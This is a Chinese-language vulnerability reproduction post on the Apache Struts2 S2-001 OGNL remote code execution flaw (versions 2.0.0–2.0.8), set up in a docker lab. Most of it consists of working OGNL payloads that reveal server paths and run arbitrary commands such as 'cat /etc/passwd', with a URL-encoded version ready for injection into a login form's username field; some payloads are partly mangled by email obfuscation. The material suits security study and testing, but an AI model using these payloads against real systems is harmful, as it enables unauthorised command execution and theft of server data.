1. 程式人生 > 其它 >S2-001 遠端程式碼執行漏洞

S2-001 遠端程式碼執行漏洞

原理

參考:http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行

影響版本

Struts 2.0.0 - Struts 2.0.8

環境

執行以下命令啟動s2-001測試環境

docker-compose build
docker-compose up -d

POC && EXP

獲取tomcat執行路徑:

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

獲取Web路徑:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

執行任意命令(命令加引數:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞復現

 檢視靶機ip,訪問8080埠

使用burp抓包然後在username插入payload   ,可顯示。 

備註:這個漏洞利用的payload需要url編碼後才可執行。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

URL編碼

%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D